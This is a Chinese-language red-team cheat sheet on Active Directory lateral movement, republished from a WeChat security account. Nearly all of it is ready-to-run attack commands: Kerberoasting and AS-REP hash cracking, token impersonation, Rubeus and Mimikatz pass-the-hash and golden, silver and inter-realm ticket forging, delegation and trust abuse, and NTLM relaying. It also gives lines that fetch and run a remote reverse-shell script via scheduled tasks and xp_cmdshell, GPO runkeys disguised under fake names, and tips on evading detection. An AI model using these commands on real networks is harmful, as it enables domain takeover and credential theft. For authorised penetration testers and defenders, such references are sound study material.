前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队笔记 - 横向移动

红队笔记 - 横向移动

作者头像
Khan安全团队
发布2021-10-12 14:44:52
2K0
发布2021-10-12 14:44:52
举报
文章被收录于专栏:Khan安全团队Khan安全团队

使用PowerView的横向移动列举

代码语言:javascript
复制
# Find existing local admin access for user 
Find-LocalAdminAccess

# Hunt for sessions of interesting users on machines where you have access
Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }

# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name

# Look for users on which we can set UserAccountControl flags
## If available - disable preauth or add SPN (see below)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server, get user TGT (see below)
Get-DomainComputer -Unconstrained

# Look for users or computers with Constrained Delegation enabled
## If available and you have user/computer hash, access service machine as DA (see below)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

使用SharpHound.ps1的Invoke-BloodHound

或者使用SharpHound.exe。两者都可以反射性地运行,在这里得到它们。

下面的例子使用PowerShell的变体,但参数是相同的。

代码语言:javascript
复制
# Run all checks, including restricted groups enforced through the domain  🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩
Invoke-BloodHound -CollectionMethod LoggedOn

Kerberoasting

自动使用PowerView

代码语言:javascript
复制
Get-DomainSPNTicket -SPN "MSSQLSvc/sqlserver.targetdomain.com"

用Hashcat破解哈希值:

代码语言:javascript
复制
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

手动:

代码语言:javascript
复制
# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"

# Dump TGS to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi

通过设置 SPN 进行定向 kerberoasting

我们需要具有 ACL 写入权限才能为目标用户设置 UserAccountControl 标志,请参阅上文以识别有趣的 ACL。使用 PowerView:

代码语言:javascript
复制
Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'

AS-REP

获取一个用户的哈希值,使用ASREPRoast.ps1

代码语言:javascript
复制
Get-ASREPHash -UserName TargetUser

使用 Hashcat 破解哈希:

代码语言:javascript
复制
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

通过禁用 Kerberos 预身份验证进行有针对性的 AS-REP

同样,我们需要 ACL 写入权限来为目标用户设置 UserAccountControl 标志。

使用 PowerView:

代码语言:javascript
复制
Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}

token

令牌可以从其他有会话的用户/在机器上运行的进程中冒充。大多数C2框架都有内置的功能(如Cobalt Strike中的 "窃取令牌 "功能)。

代码语言:javascript
复制
# Show tokens on the machine
.\incognito.exe list_tokens -u

# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.ex

如果你使用Meterpreter,你可以使用内置的Incognito模块,使用incognito,同样的命令可以使用。

调用 - token

代码语言:javascript
复制
# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500

使用Rubeus的横向运动

我们可以用Rubeus来执行一种叫做 "Overpass-the-Hash "的技术。在这种技术中,我们不是直接传递哈希值(另一种被称为 "传递哈希值 "的技术),而是使用一个账户的NTLM哈希值来请求一个有效的Kerberost票(TGT)。然后,我们可以使用这个票据,作为目标用户向域名进行认证。

代码语言:javascript
复制
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe

一旦我们有了一个TGT作为目标用户,我们就可以在一个领域背景下作为这个用户使用服务,允许我们横向移动。

使用Mimikatz的横向运动

请注意,Mimikatz的功能非常多,在本博客的多个部分都有讨论。然而,正因为如此,这个二进制文件也是非常容易被发现的。如果你需要在你的目标上运行Mimikatz(不推荐),反射性地执行一个自定义版本是你最好的选择。还有一些选项,如Invoke-MimiKatz或Safetykatz。注意,后者更隐蔽,但不包括所有功能。

代码语言:javascript
复制
# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe

# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

使用计划任务执行命令

需要“主机”SPN、要创建任务:

代码语言:javascript
复制
# Mind the quotes. Use encoded commands if quoting becomes too much of a pain
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

触发任务:

代码语言:javascript
复制
schtasks /RUN /TN "shell" /s dc.targetdomain.com

使用 WMI 执行命令

需要“主机”和“RPCSS”SPN

Windows

代码语言:javascript
复制
Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"

Linux

代码语言:javascript
复制
# with password
impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101

# with hash
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594

# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k

使用 PowerShell 远程执行命令

需要“CIFS”和“HTTP”SPN。可能还需要“WSMAN”或“RPCSS”SPN(取决于操作系统版本)

代码语言:javascript
复制
# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)
# Leave out -Credential $Cred in the below commands to run as the current user instead
$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN/targetuser', $SecPassword)

# Run a command remotely (can be used on multiple machines at once)
Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}

# Launch a session as another user (prompt for password instead, for use with e.g. RDP)
Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser

# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt
$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess

# Copy files to or from an active PowerShell remoting session
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:\Users\public\"

无约束委派

可以在前端服务(例如 IIS Web 服务器)上设置无约束委派,以允许它代表用户委派域中的任何服务(针对后端服务,例如 MSSQL 数据库)。

DACL UAC 属性:TrustedForDelegation.

开发

使用设置了无约束委派的服务器上的管理权限,我们可以为具有连接的其他用户转储 TGT。如果我们成功地做到了这一点,我们就可以将受害者用户伪装成域中的任何服务。

Mimikatz:

代码语言:javascript
复制
sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi

Rubeus:

代码语言:javascript
复制
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]

如果该 DC 容易受到打印机错误的影响,我们还可以获得域控制器计算机帐户的哈希值。如果我们成功执行此操作,我们可以 DCSync 域控制器(见下文)以完全破坏当前域。

在具有无约束委派的服务器上,使用 Rubeus 监视新票据

代码语言:javascript
复制
.\Rubeus.exe monitor /interval:5 /nowrap

从攻击机器上,利用打印机漏洞诱使域控制器连接

代码语言:javascript
复制
.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com

DC 的机器帐户的 TGT 应该在第一个会话中出现。我们可以将这张票传递到我们当前的会话中以获得 DCSync 权限

代码语言:javascript
复制
.\Rubeus.exe ptt /ticket:doIFxTCCBc...

受限制的委派

可以在前端服务器(例如 IIS)上设置约束委派,以允许它代表用户仅委派给选定的后端服务(例如 MSSQL)。

DACL UAC 属性:TrustedToAuthForDelegation. 这允许s4u2self,即代表任何人向自己请求 TGS ,仅使用 NTLM 密码哈希。这有效地允许服务仅使用他们的哈希来模拟域中的其他用户,并且在用户和前端之间未使用 Kerberos 的情况下非常有用。

DACL 属性:msDS-AllowedToDelegateTo. 此属性包含允许在其上使用的 SPN s4u2proxy,即基于现有 TGS(通常是使用 获得的s4u2self)为该服务器请求可转发 TGS 。这有效地定义了允许约束委派的后端服务。

注意:这些属性不必同时存在!如果s4u2proxy允许而没有s4u2self,则需要用户交互才能从用户那里获取到前端服务的有效 TGS,类似于无约束委派。

开发

在这种情况下,我们使用 Rubeus 自动请求 TGT,然后使用ldapSPN请求 TGS,以允许我们使用机器帐户进行 DCSync。

代码语言:javascript
复制
# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)
.\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt

# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

基于资源的约束委派

基于资源的约束委派 (RBCD) 将后端服务器(例如 MSSQL)配置为仅允许选定的前端服务(例如 IIS)代表用户进行委派。这使得特定服务器管理员可以更轻松地配置委派,而无需域管理员权限。

DACL 属性:msDS-AllowedToActOnBehalfOfOtherIdentity.

在这种情况下,s4u2self和s4u2proxy如上所述用于代表用户请求可转发票证。但是,对于 RBCD,KDC 会检查请求服务(即前端服务)的 SPN是否存在于后端服务的msDS-AllowedToActOnBehalfOfOtherIdentity属性中。这意味着前端服务需要设置一个 SPN。因此,必须从具有 SPN 的服务帐户或机器帐户执行针对 RBCD 的攻击。

开发

如果我们破坏出现在后端服务的 RBCD 属性中的前端服务,则利用与上述约束委托相同。然而,这并不常见。

更经常看到攻击RBCD是当我们有GenericWrite,GenericAll,WriteProperty,或WriteDACL许可在域中的计算机对象。这意味着我们可以msDS-AllowedToActOnBehalfOfOtherIdentity在此计算机帐户上编写属性以添加受信任的受控 SPN 或计算机帐户进行委派。我们甚至可以创建一个新的机器帐户并添加它。这允许我们在任何用户的上下文中破坏目标机器,就像约束委派一样。

代码语言:javascript
复制
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount InconspicuousMachineAccount -Password $(ConvertTo-SecureString 'Compromised123!' -AsPlainText -Force)

# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity InconspicuousMachineAccount -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes}

# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4:3644AC5E3D9441CCBCEF08CBAF98E910 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt

滥用域信任

所有命令都必须在当前域中以 DA 权限运行。

请注意,如果您完全破坏子域 ( currentdomain.targetdomain.com),根据定义,targetdomain.com由于隐式信任关系,您也可以破坏父域 ( )。对于禁用 SID 过滤的任何信任关系,同样计数(请参阅下面的“滥用林间信任”)。

使用域信任密钥

从 DC,currentdomain\targetdomain$使用 Mimikatz(例如,使用 LSADump 或 DCSync)转储信任帐户的散列。然后,使用此信任密钥和域 SID,使用 Mimikatz 伪造域间 TGT,将目标域的企业管理员组的 SID 添加到我们的“SID 历史记录”中。

代码语言:javascript
复制
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi
代码语言:javascript
复制
.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt

使用 krbtgt 哈希

从 DC,使用 DCSync 或 LSADump 转储 krbtgt 哈希。然后,使用这个哈希,使用 Mimikatz 伪造一个跨领域的 TGT,就像之前的方法一样。

这样做需要当前域的 SID 作为/sid参数,目标域的 SID 作为/sids参数的一部分。您可以使用 PowerView 的Get-DomainSID. 使用SID历史(/sids的)*-516和S-1-5-9以伪装的域控制器组和企业域控制器分别是在日志中的噪声低。

代码语言:javascript
复制
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt

或者,使用目标域中企业管理员组的 SID 历史生成域管理员票据

代码语言:javascript
复制
kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

我们现在可以立即 DCSync 目标域,或者使用例如计划任务获得反向 shell。

滥用森林间信任

由于森林是一个安全边界,我们只能访问与我们已入侵的域(我们的源域)共享的域服务。使用例如 BloodHound 查找在两个森林中都有帐户(具有相同用户名)的用户并尝试重用密码。此外,我们可以使用 BloodHound 或 PowerView 来寻找森林之间的外部组成员身份。PowerView 命令:

代码语言:javascript
复制
Get-DomainForeignGroupMember -domain targetdomain.com

在某些情况下,可能会在林之间禁用SID 过滤(导致上述情况的保护)。如果您跑步Get-DomainTrust并看到该TREAT_AS_EXTERNAL物业,情况就是如此!在这种情况下,如上所述,您可以像域信任一样滥用林信任。请注意,您仍然可以不伪造车票500和1000之间的任何SID的,所以你不能成为DA(甚至没有间接通过组继承)。在这种情况下,查找授予例如域控制器上的本地管理员或类似的非域权限的组。有关更多信息,请参阅此博客文章。

要模拟源域中的用户访问外部域中的服务,我们可以执行以下操作。像上面的“使用域信任密钥”一样提取林间信任密钥。

使用 Mimikatz 使用信任密钥为目标域生成 TGT:

代码语言:javascript
复制
Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi

然后,使用 Rubeus 向 TGS 请求CIFS使用此 TGT 的目标 DC 上的服务。

代码语言:javascript
复制
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

现在我们可以使用目标林的 DC 上的 CIFS 服务作为我们源域的 DA(同样,只要此信任配置为存在)。

滥用 MSSQL 数据库进行横向移动

MSSQL 数据库可以链接,这样如果你破坏一个数据库,你可以在特定用户的上下文中对其他数据库执行查询(甚至操作系统命令)如果这样配置,它甚至可以用来遍历森林边界!如果我们有 SQL 执行,我们可以使用以下命令来枚举数据库链接。

代码语言:javascript
复制
-- Find linked servers
EXEC sp_linkedservers

-- Run SQL query on linked server
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

我们还可以使用PowerUpSQL在域中查找数据库,并收集有关(可访问的)数据库的更多信息。我们还可以在链接的数据库上自动查找和执行查询或命令(甚至通过多层数据库链接)。

代码语言:javascript
复制
# Get MSSQL databases in the domain, and test connectivity
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database
Get-SQLServerInfo -Instance TARGETSERVER

# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Run command (enables XP_CMDSHELL automatically if required)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# Run command if XP_CMDSHELL is enabled on any of the linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

如果您对 MSSQL 数据库具有低特权访问权限并且不存在链接,则您可能会通过使用xp_dirtree存储过程访问此共享来强制 NTLM 身份验证。如果此操作成功,则可以收集 SQL 服务帐户的 NetNTLM,并可能破解或中继以破坏作为该服务帐户的计算机。

代码语言:javascript
复制
EXEC master..xp_dirtree "\\192.168.49.67\share"

示例命令将散列中继以本地管理员身份进行身份验证(如果服务帐户具有这些权限)并运行calc.exe. 省略-c参数以尝试 asecretsdump代替。

代码语言:javascript
复制
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'

滥用组策略对象进行横向移动

如果我们确定我们有权在域内编辑和链接新的组策略对象 (GPO)(请参阅“使用 PowerView进行AD 枚举”),我们可以滥用这些权限横向移动到其他计算机。

例如,我们可以使用适用于 Windows的合法远程系统管理工具(RSAT) 来创建新的 GPO,将其链接到目标,并部署注册表 runkey 以添加将在机器下次启动时自动运行的命令。

代码语言:javascript
复制
# Create a new GPO and link it to the target server
New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'

# Link an existing GPO to another target server
New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'

# Deploy a registry runkey via the GPO
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString

我们还可以使用SharpGPOAbuse部署一个即时计划任务,该任务将在组策略刷新时运行(默认为每 1-2 小时一次)。SharpGPOABuse 不创建自己的 GPO 对象,因此我们首先必须运行上面列出的用于创建和链接 GPO 的命令。在此之后,我们可以运行 SharpGPOAbuse 来部署即时任务。

代码语言:javascript
复制
SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档